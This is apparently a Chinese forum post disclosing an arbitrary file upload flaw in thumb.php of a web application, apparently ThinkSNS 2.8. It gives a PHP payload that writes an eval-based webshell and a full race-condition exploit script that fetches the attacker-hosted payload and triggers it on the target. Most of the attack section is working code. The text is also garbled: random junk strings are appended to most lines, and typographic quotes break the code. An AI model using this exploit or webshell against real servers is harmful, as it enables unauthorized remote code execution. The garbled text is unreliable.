漏洞版本
# Y3 t+ x$ y9 U! F- O- e+ r存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)3 D% |7 ~4 w, p/ X
漏洞文件+ ?5 q/ ]0 ^ E
存在漏洞的文件为:thumb.php
" }1 w* n& r% T3 y% T1 L7 c作者:韦鲲鹏
0 r+ }% c+ H- U* X" g7 x1、 准备如下PHP文件并上传到服务器(自己的)。
1 Q( y) I' Z3 z: o( @文件内容如下:) D; k+ p$ ~, M) j2 v
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
; J8 v& H( t- a, C: M! L" Q2、 计算出临时的文件名:
' E& ? O# T, x P1 d C! t这里我们可以看文件的99行(刚刚是不是没注意呀!)。/ H4 N6 D) s! W' Y' j+ p. q2 h& h
. m, {7 ?6 W1 o; m4 u! c: R3、 上传临时文件。9 V! m4 T8 g, K" l
4、 访问临时文件。
; \/ \" h3 l5 |/ [ W/ C. y但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。): O# @0 @7 l7 d' k* C) Q7 R/ v0 v( u
Exploit文件内容如下:(这个我就不详细解释了)
( w! v" _: }7 d T n' d: R# M! O<?php
$ e T; `8 P2 ^error_reporting(0);
$ K: K' V [/ H" xset_time_limit(0);
6 _& ]' E- X2 K$ q8 X0 T# ~+ i. dini_set(“default_socket_timeout”, 5);
$ V: W W0 f( _4 c; Y8 Rfunction http_send($host, $port, $headers) {1 A) Z2 c! m& \! n$ [ g
$fp = fsockopen($host, $port);. B) U. @3 G$ g$ \% P0 b2 E
if (!$fp) die(‘Connection -> fail’);1 ]' }9 ?0 a( ~4 Z S# _
fputs($fp, $headers);8 v5 E1 E# h4 X* j0 R0 t
return $fp;9 d C9 s/ ^& D4 X/ d* y
}
' ]1 I& U' ~7 v" I' `function http_recv($fp) {6 r$ ^1 D0 R" |# b* J# N: t1 T
$ret=”";% \, J+ o% y% }1 P( x% }
while (!feof($fp))" R7 R3 F" g. @
$ret.= fgets($fp, 1024);
/ _4 }5 F+ Z0 G/ `' `fclose($fp);5 F$ D0 C9 `1 B/ O& U- }
return $ret;" U! M: {* o' a: ~- G
}8 r( O0 d, [" U5 M! k5 W+ {! s# s
print “\n# ThinkSns Arbitrary File Upload #\n”;. u! M9 a6 h/ W+ o7 c) H
print “# Discovered by 韦鲲鹏 #\n\n”;* {! ~" X! X/ M0 d2 f
if ($argc < 4) {
R" y8 }( _; Y0 B8 n3 kprint “Usage: php <host> <path> <romote_url>\n”;
$ R: [" y- |1 Aprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
6 y. o- U) H& i4 C1 H3 P% c3 @die();2 F# ^$ M& v( j6 S" d, z
}, b4 _, e% B Z% ~2 ?( F: {! j
$host = $argv[1];
0 [& W+ \ A+ W R. n, s$path = $argv[2];' R8 N4 N1 n2 t: |( w
$url = $argv[3];
* `6 m% X* }5 M' U$i=0;
0 B) ]4 B5 t0 H//上传数据包; x; B2 U( G2 Z6 G- ~
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;2 D) U8 u# W2 J m
$headers_up .= “Host: “.$host.”\r\n”;
7 \/ V; o- z6 L, W) J$headers_up .= “Connection: close\r\n\r\n”;; B$ m2 t; [5 k0 v) t; J7 K
echo $headers_up;8 Y2 i3 U( J5 o1 A( C0 x
//临时文件访问数据包' W; ^1 e q: c8 ?- Z. S! q
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
* e8 E0 Z1 O0 u: D, ?$headers .= “Host: “.$host.”\r\n”;6 U. M% u9 }+ e+ ^- r8 L$ Q3 P. H
$headers .= “Connection: close\r\n\r\n”;
2 o! T; Q, e+ S jecho $headers;' S9 J6 L+ R9 I& O |' X0 I0 J1 G6 z. ?
while(++$i<10) {
8 j. C) h& j2 P. H, @% G; ]fclose(http_send($host, 80, $headers));7 } x) ?0 f! i; o5 G$ K" Q
}
* x! I f# A2 r+ L) d0 [fclose(http_send($host, 80, $headers_up));/ [: O- c; n7 X/ m5 T: q7 H6 z1 Y
while(++$i<50) {& Y& k- a( }7 K. [1 K
fclose(http_send($host, 80, $headers));$ w2 {, g: A0 }
}9 ~, b% C" y$ W1 m
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
5 b$ t$ }9 K6 c4 J( `$headers .= “Host: “.$host.”\r\n”;1 T9 n6 N! {4 A1 h. V
$headers .= “Connection: close\r\n\r\n”;
" i( B7 s; r. s$res=http_recv(http_send($host, 80, $headers));) _* t- x! W/ K
if(preg_match(‘/200 OK/’,$res)) {8 a8 ~' j: f! E& b( v) x
print “Success!\n\n”;
6 a8 a- f- S; m4 B. f& K! w/ h- f} else {. d/ G8 R- O) b: K0 x1 F
print “Fail!\n\n”;
7 s5 V, a# r9 ]; B0 K% O$ y}
1 P( v, b1 G7 E9 V: d) j4 V?>! M8 v5 }5 ^5 n; ?5 z* J9 e
|